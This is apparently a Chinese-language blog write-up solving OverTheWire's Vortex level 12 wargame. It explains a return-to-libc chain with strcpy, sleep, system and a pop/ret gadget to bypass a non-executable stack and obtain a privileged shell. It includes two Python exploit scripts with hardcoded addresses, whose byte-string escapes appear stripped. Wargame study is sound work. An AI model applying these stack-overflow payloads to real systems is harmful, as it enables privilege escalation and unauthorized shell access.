OverTheWire Vertex Level 12 → Level 13

Reading time ~1 minute

不得不说,这一关着实废了不少脑细胞,好在最后解决的还算满意。

这一关也是上来一个程序逆向,但是gdb打开看了之后,就震惊了,这简直和vortex8一模一样,那个折磨了好久的vortex8,然后这关就比vortex8多了一句话,no executable stack,但就是这一句话,让之前的所有方法全部报废。

没办法,只能从头来过,查资料之后再思前想后,终于得到如下方法:

通过溢出修改unsafecode返回地址为strcpy,通过strcpy,修改safecode中调用的函数(printf、fflush、sleep)的返回地址为system,从而通过system("/bin/sh")获得shell。

然后safecode处溢出格式为:

ebp return address
system nop * 4 address of "/bin/sh"

unsafecode处溢出格式为:

ebp return address
strcpy sleep dest src

其中dest为指向safecode的栈中返回地址的指针,src为指向用来覆盖safecode的栈的字符串的指针。其中sleep是为了防止主线程在strcpy完成后就直接退出或者崩溃而设置的,给子线程以足够的时间产生shell。

这样,我们就不可避免的需要对两个字符串精确定位,还是通过参数传递这两个字符串。

程序的栈分布:…->参数字符串->环境变量字符串->运行程序名->NULL->NULL->栈底

这样,首先得到栈底为0xffffe000,然后程序名为/vortex/vortex12,这样可以算得,字符串/bin/sh的地址为0xffffdfdf,src为0xffffdfd2(注意计算的时候要考虑这些字符串结尾的x00)。

然后,通过gdb,得到sleep的地址为0xf7ec5cd0,system的地址为0xf7fc3e30,strcpy的地址为0x080484b0,dest为0xf7e0b33c。

这样,我们得到启动程序如下:

#!/usr/bin/env python
#encoding:utf-8

import subprocess

sleep_addr = 'xd0x5cxecxf7'
sys_addr = 'x30x3exfcxf7'
cpy_addr = 'xb0x84x04x08'
sh_addr = 'xdfxdfxffxff'
dest = 'x3cxb3xe0xf7'
src = 'xd2xdfxffxff'
subprocess.Popen(['/vortex/vortex12', 'x90' * 1036 + cpy_addr + sleep_addr + dest + src, sys_addr + sh_addr + sh_addr, '/bin/sh'], env = {}).communicate()

然而,当我们运行这个程序的时候,结果并没有能够获得shell,仔细一想,便会发现还是在vortex8中遇到的老问题,即strcpy发生在了子线程调用函数之前,导致修改失去了意义。于是乎,反复运行N次之后,终于成功拿到了shell(中途还有一次崩溃,把nop * 4也替换成address of "/bin/sh"可以避免printf中崩溃),但是,不得不说,这样的结果并不能让我满意,那么我们如何像vortex8中一样,让主线程等候一段时间后再执行strcpy呢?

在这里,我们想要给主线程在strcpy执行之前加上一个sleep是极度困难的,直接插在strcpy前会导致sleep的时间为strcpy后面的那个sleep的地址,显然这个数是巨大的,不可行。

然后我企图通过调用无参数函数wait()来暂停,在另一个terminal上发送signal来启动,结果失败了,不知道为什么,也没继续研究。

然后我重新设计unsafecode处溢出格式如下:

ebp ret addr
sleep magic n strcpy sleep dest src

其中magic指针指向处的指令为:

   0x80486bf <main+159>:	pop    %ebp
   0x80486c0 <main+160>:	ret

我这里用的是main函数结尾处的两条指令,其它地方的类似这样的指令也可以。通过这样的指令,我们可以使得magic处的ret指令返回到strcpy中,实现我们需要的效果。然而,由于我们的字符串中不能出现x00,这也就意味着n至少为0x01010101,还是太大,不可行。

最后,我将sleep(n)换成了system("/bin/sh"),这样,我们运行这个程序之后,就会先得到一个已经没有权限的shell,然后等一会后手动Ctrl+D关掉这个shell之后,正常情况下就会又出现一个有权限的shell。

最终程序如下:

#!/usr/bin/env python
#encoding:utf-8

import subprocess

sleep_addr = 'xd0x5cxecxf7'
sys_addr = 'x30x3exfcxf7'
cpy_addr = 'xb0x84x04x08'
sh_addr = 'xdfxdfxffxff'
dest = 'x3cxb3xe0xf7'
src = 'xd2xdfxffxff'
ret_addr = 'xbfx86x04x08'
subprocess.Popen(['/vortex/vortex12', 'x90' * 1036 + sys_addr + ret_addr + sh_addr + cpy_addr + sleep_addr + dest + src, sys_addr + sh_addr + sh_addr, '/bin/sh'], env = {}).communicate()

至此,这一关得以解决。

挂载网络文件夹后网络故障时文件操作命令卡死

挂载 NFS 或者 Samba 的时候,经常会由于网络故障导致挂载好的链接断掉。此时如果尝试进行 ls、cd、df 等各种命令,只要与此目录沾上边,就会卡住。如果使用了类似 oh-my-zsh 这种配置的,只要在网络目录中,弹出命令提示符前就会直接卡住。这个时候第一反应就是...… Continue reading

路由折腾记 第四弹

Published on September 02, 2017